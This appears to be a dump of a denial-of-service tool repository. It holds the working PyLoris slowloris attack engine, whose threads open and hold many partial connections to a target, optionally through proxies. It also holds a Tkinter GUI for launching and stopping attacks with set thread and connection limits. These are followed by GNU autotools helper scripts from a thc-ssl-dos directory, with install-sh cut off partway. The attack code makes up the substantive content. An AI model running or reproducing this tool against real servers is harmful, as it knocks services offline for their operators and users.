threading.Thread.__init__(self) 79 | self.connections = Queue.Queue() 80 | self.errors = Queue.Queue() 81 | self.messages = Queue.Queue() 82 | self.debug = Queue.Queue() 83 | self.options = DefaultOptions() 84 | 85 | def LoadOptions(self, o): 86 | self.options = o.copy() 87 | 88 | def run(self): 89 | self.messages.put('PyLoris is starting up.') 90 | self.running = True 91 | 92 | thread.start_new_thread(self.build_sockets, ()) 93 | 94 | for id in range(self.options['threadlimit']): 95 | thread.start_new_thread(self.attack, (id,)) 96 | self.threads += 1 97 | if self.options['timebetweenthreads'] > 0: 98 | time.sleep(self.options['timebetweenthreads']) 99 | 100 | def build_sockets(self): 101 | self.debug.put('Socket Builder started.') 102 | count = 0 103 | while (self.options['attacklimit'] == 0 or self.options['attacklimit'] > self.attacks) and self.running: 104 | if self.options['connectionlimit'] > self.sockets: 105 | if self.options['socksversion'] == 'SOCKS4' or self.options['socksversion'] == 'SOCKS5' or self.options['socksversion'] == 'HTTP': 106 | if self.options['socksversion'] == 'SOCKS4': proxytype = socks.PROXY_TYPE_SOCKS4 107 | elif self.options['socksversion'] == 'SOCKS5': proxytype = socks.PROXY_TYPE_SOCKS5 108 | else: proxytype = socks.PROXY_TYPE_HTTP 109 | s = socks.socksocket() 110 | if self.options['socksuser'] == '' and self.options['sockspass'] == '': 111 | s.setproxy(proxytype, self.options['sockshost'], self.options['socksport'], self.options['socksuser'], self.options['sockspass']) 112 | else: 113 | s.setproxy(proxytype, self.options['sockshost'], self.options['socksport']) 114 | else: 115 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 116 | 117 | try: 118 | s.connect((self.options['host'], self.options['port'])) 119 | if self.options['ssl'] == True: 120 | wrap_socket(s) 121 | self.connections.put((s, 0)) 122 | self.debug.put('Socket opened, connection created.') 123 | self.attacks += 1 124 | self.sockets += 1 125 | except Exception, ex: 126 | self.errors.put('Could not connect. %s.' % (ex)) 127 | 128 | if self.options['timebetweenconnections'] > 0: 129 | time.sleep(self.options['timebetweenconnections']) 130 | self.debug.put('Socket Builder finished.') 131 | 132 | def attack(self, id): 133 | self.debug.put('Attack thread %i started' % (id)) 134 | while self.running: 135 | (s, index) = self.connections.get() 136 | try: 137 | if len(self.options['request']) > index: 138 | s.send(self.options['request'][index]) 139 | index += 1 140 | self.connections.put((s, index)) 141 | elif self.options['quitimmediately'] == False: 142 | data = s.recv(1024) 143 | if not len(data): 144 | s.close() 145 | self.debug.put('Socket closed, data tranfer finished.') 146 | self.sockets -= 1 147 | else: 148 | self.connections.put((s, index)) 149 | else: 150 | s.close() 151 | self.debug.put('Socket closed, not waiting for response.') 152 | self.sockets -= 1 153 | except Exception, ex: 154 | self.errors.put(ex) 155 | self.debug.put('Socket closed, an exception occurred.') 156 | s.close() 157 | self.sockets -= 1 158 | 159 | if self.sockets == 0 and self.attacks == self.options['attacklimit']: 160 | self.debug.put('Attack limit reached, all sockets closed. Shutting down.') 161 | self.running = False 162 | elif self.sockets > 0 and self.options['connectionspeed'] > 0: 163 | time.sleep(1 / self.options['connectionspeed'] / self.sockets * self.threads) 164 | elif self.options['connectionspeed'] > 0: 165 | time.sleep(1 / self.options['connectionspeed'] * self.threads) 166 | self.debug.put('Attack thread %i finished.' % (id)) 167 | self.threads -= 1 168 | 169 | def status(self): 170 | return (self.attacks, self.threads, self.sockets) 171 | 172 | def stop(self): 173 | self.messages.put('PyLoris is shutting down.') 174 | self.running = False 175 | while not self.connections.empty(): 176 | try: 177 | s = self.connections.get(True, 30) 178 | s.close() 179 | self.sockets -= 1 180 | except: 181 | pass 182 | 183 | class ScriptLoris(Loris): 184 | def __init__(self): 185 | self.options = DefaultOptions() 186 | Loris.__init__(self) 187 | 188 | def mainloop(self): 189 | self.start() 190 | time.sleep(1) 191 | while self.running: 192 | status = self.status() 193 | 194 | try: 195 | while True: 196 | message = self.messages.get(False) 197 | print('[MESSAGE] %s' %(message)) 198 | except: 199 | pass 200 | 201 | try: 202 | while True: 203 | debug = self.debug.get(False) 204 | print('[DEBUG] %s' %(debug)) 205 | except: 206 | pass 207 | 208 | try: 209 | while True: 210 | error = self.errors.get(False) 211 | print('[ERROR] %s' %(error)) 212 | except: 213 | pass 214 | 215 | print 'Loris has started %i attacks, with %i threads and %i connections currently running.' % status 216 | time.sleep(1) 217 | 218 | status = self.status() 219 | print 'Pyloris has completed %i attacks.' % (status[0]) 220 | -------------------------------------------------------------------------------- /pyloris/pyloris.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | 3 | """ 4 | pyloris.py 5 | This is the new face of PyLoris. Simply invoking this script will present 6 | the flashy new Tkinter GUI. All connections options are on the left, while 7 | the main request body is located in the text area on the right. Multiple 8 | attack instances can be run simultaneously, with different connection 9 | and request body parameters. One caveat is that PyLoris will continue to 10 | silently run in the background unless the main window is closed or the "Stop 11 | Attack" button is clicked. 12 | """ 13 | 14 | from Tkinter import BooleanVar 15 | from Tkinter import * 16 | from Tkinter import Toplevel 17 | import time 18 | 19 | from libloris import * 20 | 21 | class MainWindow(Tk): 22 | def __init__(self): 23 | Tk.__init__(self) 24 | self.title(string = ".o0O| PyLoris |O0o.") 25 | self.lws = [] 26 | 27 | self.options = { 28 | 'host' : StringVar(), 29 | 'port' : IntVar(), 30 | 'ssl' : BooleanVar(), 31 | 'attacklimit' : IntVar(), 32 | 'connectionlimit' : IntVar(), 33 | 'threadlimit' : IntVar(), 34 | 'connectionspeed' : DoubleVar(), 35 | 'timebetweenthreads' : DoubleVar(), 36 | 'timebetweenconnections' : DoubleVar(), 37 | 'quitimmediately' : BooleanVar(), 38 | 'socksversion' : StringVar(), 39 | 'sockshost' : StringVar(), 40 | 'socksport' : IntVar(), 41 | 'socksuser' : StringVar(), 42 | 'sockspass' : StringVar(), 43 | 'request' : StringVar(), 44 | } 45 | 46 | self.options['host'].set('localhost') 47 | self.options['port'].set(80) 48 | self.options['ssl'].set(False) 49 | self.options['attacklimit'].set(500) 50 | self.options['connectionlimit'].set(500) 51 | self.options['threadlimit'].set(50) 52 | self.options['connectionspeed'].set(0.3) 53 | self.options['timebetweenthreads'].set(0.3) 54 | self.options['timebetweenconnections'].set(1) 55 | self.options['quitimmediately'].set(False) 56 | self.options['socksversion'].set('NONE') 57 | self.options['sockshost'].set('localhost') 58 | self.options['socksport'].set(9050) 59 | self.options['socksuser'].set('') 60 | self.options['sockspass'].set('') 61 | 62 | gf = LabelFrame(self, text = 'General', relief = GROOVE, labelanchor = 'nw', width = 400, height = 90) 63 | gf.grid(row = 0, column = 1) 64 | gf.grid_propagate(0) 65 | Label(gf, text = 'Host:').grid(row = 0, column = 1) 66 | Entry(gf, textvariable = self.options['host']).grid(row = 0, column = 2, columnspan = 2) 67 | Label(gf, text = 'Port:').grid(row = 1, column = 1) 68 | Entry(gf, textvariable = self.options['port']).grid(row = 1, column = 2, columnspan = 2) 69 | Checkbutton(gf, text = 'SSL', variable = self.options['ssl']).grid(row = 2, column = 1) 70 | 71 | bf = LabelFrame(self, text = 'Behavior', relief = GROOVE, labelanchor = 'nw', width = 400, height = 170) 72 | bf.grid(row = 1, column = 1) 73 | bf.grid_propagate(0) 74 | Label(bf, text = 'Attack Limit (0 = No limit):').grid(row = 0, column = 1) 75 | Entry(bf, textvariable = self.options['attacklimit']).grid(row = 0, column = 2) 76 | Label(bf, text = 'Connection Limit (0 = No limit):').grid(row = 1, column = 1) 77 | Entry(bf, textvariable = self.options['connectionlimit']).grid(row = 1, column = 2) 78 | Label(bf, text = 'Thread Limit (0 = No limit):').grid(row = 2, column = 1) 79 | Entry(bf, textvariable = self.options['threadlimit']).grid(row = 2, column = 2) 80 | Label(bf, text = 'Connection speed (bytes/sec):').grid(row = 3, column = 1) 81 | Entry(bf, textvariable = self.options['connectionspeed']).grid(row = 3, column = 2) 82 | Label(bf, text = 'Time between thread spawns (seconds):').grid(row = 4, column = 1) 83 | Entry(bf, textvariable = self.options['timebetweenthreads']).grid(row = 4, column = 2) 84 | Label(bf, text = 'Time between connections (seconds):').grid(row = 5, column = 1) 85 | Entry(bf, textvariable = self.options['timebetweenconnections']).grid(row = 5, column = 2) 86 | Checkbutton(bf, text = 'Close finished connections', variable = self.options['quitimmediately']).grid(row = 6, column = 1, columnspan = 2) 87 | 88 | pf = LabelFrame(self, text = 'Proxy', relief = GROOVE, labelanchor = 'nw', width = 400, height = 130) 89 | pf.grid(row = 2, column = 1) 90 | pf.grid_propagate(0) 91 | Label(pf, text = 'Proxy type (SOCKS4/SOCKS5/HTTP/NONE)').grid(row = 0, column = 1) 92 | Entry(pf, textvariable = self.options['socksversion']).grid(row = 0, column = 2) 93 | Label(pf, text = 'Proxy Hostname / IP Address').grid(row = 1, column = 1) 94 | Entry(pf, textvariable = self.options['sockshost']).grid(row = 1, column = 2) 95 | Label(pf, text = 'Proxy Port').grid(row = 2, column = 1) 96 | Entry(pf, textvariable = self.options['socksport']).grid(row = 2, column = 2) 97 | Label(pf, text = 'Proxy Username').grid(row = 3, column = 1) 98 | Entry(pf, textvariable = self.options['socksuser']).grid(row = 3, column = 2) 99 | Label(pf, text = 'Proxy Password').grid(row = 4, column = 1) 100 | Entry(pf, textvariable = self.options['sockspass']).grid(row = 4, column = 2) 101 | 102 | Button(self, text = "Launch", command = self.launch).grid(row = 3, column = 1) 103 | 104 | df = LabelFrame(self, text = 'Request Body', relief = GROOVE, labelanchor = 'nw') 105 | df.grid(row = 0, column = 2, rowspan = 4) 106 | self.options['request'] = Text(df, foreground="white", background="black", highlightcolor="white", highlightbackground="purple", wrap=NONE, height = 28, width = 80) 107 | self.options['request'].grid(row = 0, column = 1) 108 | self.options['request'].insert(END, 'GET / HTTP/1.1\r\nHost: www.example.com\r\nKeep-Alive: 300\r\nConnection: Keep-Alive\r\nReferer: http://www.demonstration.com/\r\n') 109 | self.options['request'].insert(END, 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.1.249.1045 Safari/532.5\r\n') 110 | self.options['request'].insert(END, 'Cookie: data1=' + ('A' * 100) + '&data2=' + ('A' * 100) + '&data3=' + ('A' * 100) + '\r\n') 111 | 112 | 113 | def launch(self): 114 | lorisoptions = DefaultOptions() 115 | for key in self.options.keys(): 116 | if key == 'request': lorisoptions[key] = self.options[key].get('1.0', END) 117 | elif key == 'quitimmediately' or key == 'ssl': 118 | if self.options[key].get() == 0: 119 | lorisoptions[key] = False 120 | else: lorisoptions[key] = self.options[key].get() 121 | else: lorisoptions[key] = self.options[key].get() 122 | 123 | self.lws.append(LorisWindow('%s:%i' % (lorisoptions['host'], lorisoptions['port']), lorisoptions)) 124 | 125 | def checkloop(self): 126 | thread.start_new_thread(self.check, ()) 127 | 128 | def check(self): 129 | while True: 130 | for lw in self.lws: 131 | lw.check() 132 | time.sleep(1) 133 | 134 | class LorisWindow(Toplevel): 135 | def __init__(self, title, options): 136 | Toplevel.__init__(self) 137 | self.title(string = title) 138 | self.loris = Loris() 139 | self.loris.LoadOptions(options) 140 | self.elements = {'attacks' : StringVar(), 'threads' : StringVar(), 'sockets' : StringVar()} 141 | self.loris.start() 142 | 143 | sf = LabelFrame(self, text = 'Status', width = 180, height = 138) 144 | sf.grid(row = 0, column = 1) 145 | sf.grid_propagate(0) 146 | Label(sf, text = 'Target: %s:%i' % (options['host'], options['port'])).grid(row = 0, column = 1) 147 | Label(sf, text = 'Attacks: 0', textvar = self.elements['attacks']).grid(row = 1, column = 1) 148 | Label(sf, text = 'Threads: 0', textvar = self.elements['threads']).grid(row = 2, column = 1) 149 | Label(sf, text = 'Sockets: 0', textvar = self.elements['sockets']).grid(row = 3, column = 1) 150 | Button(sf, text = 'Stop Attack', command = self.loris.stop).grid(row = 4, column = 1) 151 | 152 | df = LabelFrame(self, text = 'Log') 153 | df.grid(row = 0, column = 2) 154 | self.elements['logs'] = Text(df, foreground="white", background="black", highlightcolor="white", highlightbackground="purple", wrap=WORD, height = 8, width = 80) 155 | self.elements['logs'].grid(row = 0, column = 1) 156 | 157 | def check(self): 158 | status = self.loris.status() 159 | self.elements['attacks'].set('Attacks: %i' % (status[0])) 160 | self.elements['threads'].set('Threads: %i' % (status[1])) 161 | self.elements['sockets'].set('Sockets: %i' % (status[2])) 162 | 163 | try: 164 | while True: 165 | message = self.loris.messages.get(False) 166 | self.elements['logs'].insert(END, '%s\n' % message) 167 | self.elements['logs'].yview_moveto(1.0) 168 | except: 169 | pass 170 | 171 | try: 172 | while True: 173 | debug = self.loris.debug.get(False) 174 | self.elements['logs'].insert(END, '%s\n' % debug) 175 | self.elements['logs'].yview_moveto(1.0) 176 | except: 177 | pass 178 | 179 | try: 180 | while True: 181 | error = self.loris.errors.get(False) 182 | self.elements['logs'].insert(END, '[ERROR]: %s\n' % error) 183 | self.elements['logs'].yview_moveto(1.0) 184 | except: 185 | pass 186 | 187 | if __name__ == '__main__': 188 | try: 189 | mw = MainWindow() 190 | mw.checkloop() 191 | mw.mainloop() 192 | except Exception, ex: 193 | print('There was an error: %s.\nQuitting.' % ex) 194 | -------------------------------------------------------------------------------- /thc-ssl-dos/config/missing: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # Common stub for a few missing GNU programs while installing. 3 | 4 | scriptversion=2009-04-28.21; # UTC 5 | 6 | # Copyright (C) 1996, 1997, 1999, 2000, 2002, 2003, 2004, 2005, 2006, 7 | # 2008, 2009 Free Software Foundation, Inc. 8 | # Originally by Fran,cois Pinard , 1996. 9 | 10 | # This program is free software; you can redistribute it and/or modify 11 | # it under the terms of the GNU General Public License as published by 12 | # the Free Software Foundation; either version 2, or (at your option) 13 | # any later version. 14 | 15 | # This program is distributed in the hope that it will be useful, 16 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | # GNU General Public License for more details. 19 | 20 | # You should have received a copy of the GNU General Public License 21 | # along with this program. If not, see . 22 | 23 | # As a special exception to the GNU General Public License, if you 24 | # distribute this file as part of a program that contains a 25 | # configuration script generated by Autoconf, you may include it under 26 | # the same distribution terms that you use for the rest of that program. 27 | 28 | if test $# -eq 0; then 29 | echo 1>&2 "Try \`$0 --help' for more information" 30 | exit 1 31 | fi 32 | 33 | run=: 34 | sed_output='s/.* --output[ =]\([^ ]*\).*/\1/p' 35 | sed_minuso='s/.* -o \([^ ]*\).*/\1/p' 36 | 37 | # In the cases where this matters, `missing' is being run in the 38 | # srcdir already. 39 | if test -f configure.ac; then 40 | configure_ac=configure.ac 41 | else 42 | configure_ac=configure.in 43 | fi 44 | 45 | msg="missing on your system" 46 | 47 | case $1 in 48 | --run) 49 | # Try to run requested program, and just exit if it succeeds. 50 | run= 51 | shift 52 | "$@" && exit 0 53 | # Exit code 63 means version mismatch. This often happens 54 | # when the user try to use an ancient version of a tool on 55 | # a file that requires a minimum version. In this case we 56 | # we should proceed has if the program had been absent, or 57 | # if --run hadn't been passed. 58 | if test $? = 63; then 59 | run=: 60 | msg="probably too old" 61 | fi 62 | ;; 63 | 64 | -h|--h|--he|--hel|--help) 65 | echo "\ 66 | $0 [OPTION]... PROGRAM [ARGUMENT]... 67 | 68 | Handle \`PROGRAM [ARGUMENT]...' for when PROGRAM is missing, or return an 69 | error status if there is no known handling for PROGRAM. 70 | 71 | Options: 72 | -h, --help display this help and exit 73 | -v, --version output version information and exit 74 | --run try to run the given command, and emulate it if it fails 75 | 76 | Supported PROGRAM values: 77 | aclocal touch file \`aclocal.m4' 78 | autoconf touch file \`configure' 79 | autoheader touch file \`config.h.in' 80 | autom4te touch the output file, or create a stub one 81 | automake touch all \`Makefile.in' files 82 | bison create \`y.tab.[ch]', if possible, from existing .[ch] 83 | flex create \`lex.yy.c', if possible, from existing .c 84 | help2man touch the output file 85 | lex create \`lex.yy.c', if possible, from existing .c 86 | makeinfo touch the output file 87 | tar try tar, gnutar, gtar, then tar without non-portable flags 88 | yacc create \`y.tab.[ch]', if possible, from existing .[ch] 89 | 90 | Version suffixes to PROGRAM as well as the prefixes \`gnu-', \`gnu', and 91 | \`g' are ignored when checking the name. 92 | 93 | Send bug reports to ." 94 | exit $? 95 | ;; 96 | 97 | -v|--v|--ve|--ver|--vers|--versi|--versio|--version) 98 | echo "missing $scriptversion (GNU Automake)" 99 | exit $? 100 | ;; 101 | 102 | -*) 103 | echo 1>&2 "$0: Unknown \`$1' option" 104 | echo 1>&2 "Try \`$0 --help' for more information" 105 | exit 1 106 | ;; 107 | 108 | esac 109 | 110 | # normalize program name to check for. 111 | program=`echo "$1" | sed ' 112 | s/^gnu-//; t 113 | s/^gnu//; t 114 | s/^g//; t'` 115 | 116 | # Now exit if we have it, but it failed. Also exit now if we 117 | # don't have it and --version was passed (most likely to detect 118 | # the program). This is about non-GNU programs, so use $1 not 119 | # $program. 120 | case $1 in 121 | lex*|yacc*) 122 | # Not GNU programs, they don't have --version. 123 | ;; 124 | 125 | tar*) 126 | if test -n "$run"; then 127 | echo 1>&2 "ERROR: \`tar' requires --run" 128 | exit 1 129 | elif test "x$2" = "x--version" || test "x$2" = "x--help"; then 130 | exit 1 131 | fi 132 | ;; 133 | 134 | *) 135 | if test -z "$run" && ($1 --version) > /dev/null 2>&1; then 136 | # We have it, but it failed. 137 | exit 1 138 | elif test "x$2" = "x--version" || test "x$2" = "x--help"; then 139 | # Could not run --version or --help. This is probably someone 140 | # running `$TOOL --version' or `$TOOL --help' to check whether 141 | # $TOOL exists and not knowing $TOOL uses missing. 142 | exit 1 143 | fi 144 | ;; 145 | esac 146 | 147 | # If it does not exist, or fails to run (possibly an outdated version), 148 | # try to emulate it. 149 | case $program in 150 | aclocal*) 151 | echo 1>&2 "\ 152 | WARNING: \`$1' is $msg. You should only need it if 153 | you modified \`acinclude.m4' or \`${configure_ac}'. You might want 154 | to install the \`Automake' and \`Perl' packages. Grab them from 155 | any GNU archive site." 156 | touch aclocal.m4 157 | ;; 158 | 159 | autoconf*) 160 | echo 1>&2 "\ 161 | WARNING: \`$1' is $msg. You should only need it if 162 | you modified \`${configure_ac}'. You might want to install the 163 | \`Autoconf' and \`GNU m4' packages. Grab them from any GNU 164 | archive site." 165 | touch configure 166 | ;; 167 | 168 | autoheader*) 169 | echo 1>&2 "\ 170 | WARNING: \`$1' is $msg. You should only need it if 171 | you modified \`acconfig.h' or \`${configure_ac}'. You might want 172 | to install the \`Autoconf' and \`GNU m4' packages. Grab them 173 | from any GNU archive site." 174 | files=`sed -n 's/^[ ]*A[CM]_CONFIG_HEADER(\([^)]*\)).*/\1/p' ${configure_ac}` 175 | test -z "$files" && files="config.h" 176 | touch_files= 177 | for f in $files; do 178 | case $f in 179 | *:*) touch_files="$touch_files "`echo "$f" | 180 | sed -e 's/^[^:]*://' -e 's/:.*//'`;; 181 | *) touch_files="$touch_files $f.in";; 182 | esac 183 | done 184 | touch $touch_files 185 | ;; 186 | 187 | automake*) 188 | echo 1>&2 "\ 189 | WARNING: \`$1' is $msg. You should only need it if 190 | you modified \`Makefile.am', \`acinclude.m4' or \`${configure_ac}'. 191 | You might want to install the \`Automake' and \`Perl' packages. 192 | Grab them from any GNU archive site." 193 | find . -type f -name Makefile.am -print | 194 | sed 's/\.am$/.in/' | 195 | while read f; do touch "$f"; done 196 | ;; 197 | 198 | autom4te*) 199 | echo 1>&2 "\ 200 | WARNING: \`$1' is needed, but is $msg. 201 | You might have modified some files without having the 202 | proper tools for further handling them. 203 | You can get \`$1' as part of \`Autoconf' from any GNU 204 | archive site." 205 | 206 | file=`echo "$*" | sed -n "$sed_output"` 207 | test -z "$file" && file=`echo "$*" | sed -n "$sed_minuso"` 208 | if test -f "$file"; then 209 | touch $file 210 | else 211 | test -z "$file" || exec >$file 212 | echo "#! /bin/sh" 213 | echo "# Created by GNU Automake missing as a replacement of" 214 | echo "# $ $@" 215 | echo "exit 0" 216 | chmod +x $file 217 | exit 1 218 | fi 219 | ;; 220 | 221 | bison*|yacc*) 222 | echo 1>&2 "\ 223 | WARNING: \`$1' $msg. You should only need it if 224 | you modified a \`.y' file. You may need the \`Bison' package 225 | in order for those modifications to take effect. You can get 226 | \`Bison' from any GNU archive site." 227 | rm -f y.tab.c y.tab.h 228 | if test $# -ne 1; then 229 | eval LASTARG="\${$#}" 230 | case $LASTARG in 231 | *.y) 232 | SRCFILE=`echo "$LASTARG" | sed 's/y$/c/'` 233 | if test -f "$SRCFILE"; then 234 | cp "$SRCFILE" y.tab.c 235 | fi 236 | SRCFILE=`echo "$LASTARG" | sed 's/y$/h/'` 237 | if test -f "$SRCFILE"; then 238 | cp "$SRCFILE" y.tab.h 239 | fi 240 | ;; 241 | esac 242 | fi 243 | if test ! -f y.tab.h; then 244 | echo >y.tab.h 245 | fi 246 | if test ! -f y.tab.c; then 247 | echo 'main() { return 0; }' >y.tab.c 248 | fi 249 | ;; 250 | 251 | lex*|flex*) 252 | echo 1>&2 "\ 253 | WARNING: \`$1' is $msg. You should only need it if 254 | you modified a \`.l' file. You may need the \`Flex' package 255 | in order for those modifications to take effect. You can get 256 | \`Flex' from any GNU archive site." 257 | rm -f lex.yy.c 258 | if test $# -ne 1; then 259 | eval LASTARG="\${$#}" 260 | case $LASTARG in 261 | *.l) 262 | SRCFILE=`echo "$LASTARG" | sed 's/l$/c/'` 263 | if test -f "$SRCFILE"; then 264 | cp "$SRCFILE" lex.yy.c 265 | fi 266 | ;; 267 | esac 268 | fi 269 | if test ! -f lex.yy.c; then 270 | echo 'main() { return 0; }' >lex.yy.c 271 | fi 272 | ;; 273 | 274 | help2man*) 275 | echo 1>&2 "\ 276 | WARNING: \`$1' is $msg. You should only need it if 277 | you modified a dependency of a manual page. You may need the 278 | \`Help2man' package in order for those modifications to take 279 | effect. You can get \`Help2man' from any GNU archive site." 280 | 281 | file=`echo "$*" | sed -n "$sed_output"` 282 | test -z "$file" && file=`echo "$*" | sed -n "$sed_minuso"` 283 | if test -f "$file"; then 284 | touch $file 285 | else 286 | test -z "$file" || exec >$file 287 | echo ".ab help2man is required to generate this page" 288 | exit $? 289 | fi 290 | ;; 291 | 292 | makeinfo*) 293 | echo 1>&2 "\ 294 | WARNING: \`$1' is $msg. You should only need it if 295 | you modified a \`.texi' or \`.texinfo' file, or any other file 296 | indirectly affecting the aspect of the manual. The spurious 297 | call might also be the consequence of using a buggy \`make' (AIX, 298 | DU, IRIX). You might want to install the \`Texinfo' package or 299 | the \`GNU make' package. Grab either from any GNU archive site." 300 | # The file to touch is that specified with -o ... 301 | file=`echo "$*" | sed -n "$sed_output"` 302 | test -z "$file" && file=`echo "$*" | sed -n "$sed_minuso"` 303 | if test -z "$file"; then 304 | # ... or it is the one specified with @setfilename ... 305 | infile=`echo "$*" | sed 's/.* \([^ ]*\) *$/\1/'` 306 | file=`sed -n ' 307 | /^@setfilename/{ 308 | s/.* \([^ ]*\) *$/\1/ 309 | p 310 | q 311 | }' $infile` 312 | # ... or it is derived from the source name (dir/f.texi becomes f.info) 313 | test -z "$file" && file=`echo "$infile" | sed 's,.*/,,;s,.[^.]*$,,'`.info 314 | fi 315 | # If the file does not exist, the user really needs makeinfo; 316 | # let's fail without touching anything. 317 | test -f $file || exit 1 318 | touch $file 319 | ;; 320 | 321 | tar*) 322 | shift 323 | 324 | # We have already tried tar in the generic part. 325 | # Look for gnutar/gtar before invocation to avoid ugly error 326 | # messages. 327 | if (gnutar --version > /dev/null 2>&1); then 328 | gnutar "$@" && exit 0 329 | fi 330 | if (gtar --version > /dev/null 2>&1); then 331 | gtar "$@" && exit 0 332 | fi 333 | firstarg="$1" 334 | if shift; then 335 | case $firstarg in 336 | *o*) 337 | firstarg=`echo "$firstarg" | sed s/o//` 338 | tar "$firstarg" "$@" && exit 0 339 | ;; 340 | esac 341 | case $firstarg in 342 | *h*) 343 | firstarg=`echo "$firstarg" | sed s/h//` 344 | tar "$firstarg" "$@" && exit 0 345 | ;; 346 | esac 347 | fi 348 | 349 | echo 1>&2 "\ 350 | WARNING: I can't seem to be able to run \`tar' with the given arguments. 351 | You may want to install GNU tar or Free paxutils, or check the 352 | command line arguments." 353 | exit 1 354 | ;; 355 | 356 | *) 357 | echo 1>&2 "\ 358 | WARNING: \`$1' is needed, and is $msg. 359 | You might have modified some files without having the 360 | proper tools for further handling them. Check the \`README' file, 361 | it often tells you about the needed prerequisites for installing 362 | this package. You may also peek at any GNU archive site, in case 363 | some other package would contain this missing \`$1' program." 364 | exit 1 365 | ;; 366 | esac 367 | 368 | exit 0 369 | 370 | # Local variables: 371 | # eval: (add-hook 'write-file-hooks 'time-stamp) 372 | # time-stamp-start: "scriptversion=" 373 | # time-stamp-format: "%:y-%02m-%02d.%02H" 374 | # time-stamp-time-zone: "UTC" 375 | # time-stamp-end: "; # UTC" 376 | # End: 377 | -------------------------------------------------------------------------------- /thc-ssl-dos/config/install-sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # install - install a program, script, or datafile 3 | 4 | scriptversion=2009-04-28.21; # UTC 5 | 6 | # This originates from X11R5 (mit/util/scripts/install.sh), which was 7 | # later released in X11R6 (xc/config/util/install.sh) with the 8 | # following copyright and license. 9 | # 10 | # Copyright (C) 1994 X Consortium 11 | # 12 | # Permission is hereby granted, free of charge, to any person obtaining a copy 13 | # of this software and associated documentation files (the "Software"), to 14 | # deal in the Software without restriction, including without limitation the 15 | # rights to use, copy, modify, merge, publish, distribute, sublicense, and/or 16 | # sell copies of the Software, and to permit persons to whom the Software is 17 | # furnished to do so, subject to the following conditions: 18 | # 19 | # The above copyright notice and this permission notice shall be included in 20 | # all copies or substantial portions of the Software. 21 | # 22 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 23 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 24 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 25 | # X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN 26 | # AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNEC- 27 | # TION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 28 | # 29 | # Except as contained in this notice, the name of the X Consortium shall not 30 | # be used in advertising or otherwise to promote the sale, use or other deal- 31 | # ings in this Software without prior written authorization from the X Consor- 32 | # tium. 33 | # 34 | # 35 | # FSF changes to this file are in the public domain. 36 | # 37 | # Calling this script install-sh is preferred over install.sh, to prevent 38 | # `make' implicit rules from creating a file called install from it 39 | # when there is no Makefile. 40 | # 41 | # This script is compatible with the BSD install script, but was written 42 | # from scratch. 43 | 44 | nl=' 45 | ' 46 | IFS=" "" $nl" 47 | 48 | # set DOITPROG to echo to test this script 49 | 50 | # Don't use :- since 4.3BSD and earlier shells don't like it. 51 | doit=${DOITPROG-} 52 | if test -z "$doit"; then 53 | doit_exec=exec 54 | else 55 | doit_exec=$doit 56 | fi 57 | 58 | # Put in absolute file names if you don't have them in your path; 59 | # or use environment vars. 60 | 61 | chgrpprog=${CHGRPPROG-chgrp} 62 | chmodprog=${CHMODPROG-chmod} 63 | chownprog=${CHOWNPROG-chown} 64 | cmpprog=${CMPPROG-cmp} 65 | cpprog=${CPPROG-cp} 66 | mkdirprog=${MKDIRPROG-mkdir} 67 | mvprog=${MVPROG-mv} 68 | rmprog=${RMPROG-rm} 69 | stripprog=${STRIPPROG-strip} 70 | 71 | posix_glob='?' 72 | initialize_posix_glob=' 73 | test "$posix_glob" != "?" || { 74 | if (set -f) 2>/dev/null; then 75 | posix_glob= 76 | else 77 | posix_glob=: 78 | fi 79 | } 80 | ' 81 | 82 | posix_mkdir= 83 | 84 | # Desired mode of installed file. 85 | mode=0755 86 | 87 | chgrpcmd= 88 | chmodcmd=$chmodprog 89 | chowncmd= 90 | mvcmd=$mvprog 91 | rmcmd="$rmprog -f" 92 | stripcmd= 93 | 94 | src= 95 | dst= 96 | dir_arg= 97 | dst_arg= 98 | 99 | copy_on_change=false 100 | no_target_directory= 101 | 102 | usage="\ 103 | Usage: $0 [OPTION]... [-T] SRCFILE DSTFILE 104 | or: $0 [OPTION]... SRCFILES... DIRECTORY 105 | or: $0 [OPTION]... -t DIRECTORY SRCFILES... 106 | or: $0 [OPTION]... -d DIRECTORIES... 107 | 108 | In the 1st form, copy SRCFILE to DSTFILE. 109 | In the 2nd and 3rd, copy all SRCFILES to DIRECTORY. 110 | In the 4th, create DIRECTORIES. 111 | 112 | Options: 113 | --help display this help and exit. 114 | --version display version info and exit. 115 | 116 | -c (ignored) 117 | -C install only if different (preserve the last data modification time) 118 | -d create directories instead of installing files. 119 | -g GROUP $chgrpprog installed files to GROUP. 120 | -m MODE $chmodprog installed files to MODE. 121 | -o USER $chownprog installed files to USER. 122 | -s $stripprog installed files. 123 | -t DIRECTORY install into DIRECTORY. 124 | -T report an error if DSTFILE is a directory. 125 | 126 | Environment variables override the default commands: 127 | CHGRPPROG CHMODPROG CHOWNPROG CMPPROG CPPROG MKDIRPROG MVPROG 128 | RMPROG STRIPPROG 129 | " 130 | 131 | while test $# -ne 0; do 132 | case $1 in 133 | -c) ;; 134 | 135 | -C) copy_on_change=true;; 136 | 137 | -d) dir_arg=true;; 138 | 139 | -g) chgrpcmd="$chgrpprog $2" 140 | shift;; 141 | 142 | --help) echo "$usage"; exit $?;; 143 | 144 | -m) mode=$2 145 | case $mode in 146 | *' '* | *' '* | *' 147 | '* | *'*'* | *'?'* | *'['*) 148 | echo "$0: invalid mode: $mode" >&2 149 | exit 1;; 150 | esac 151 | shift;; 152 | 153 | -o) chowncmd="$chownprog $2" 154 | shift;; 155 | 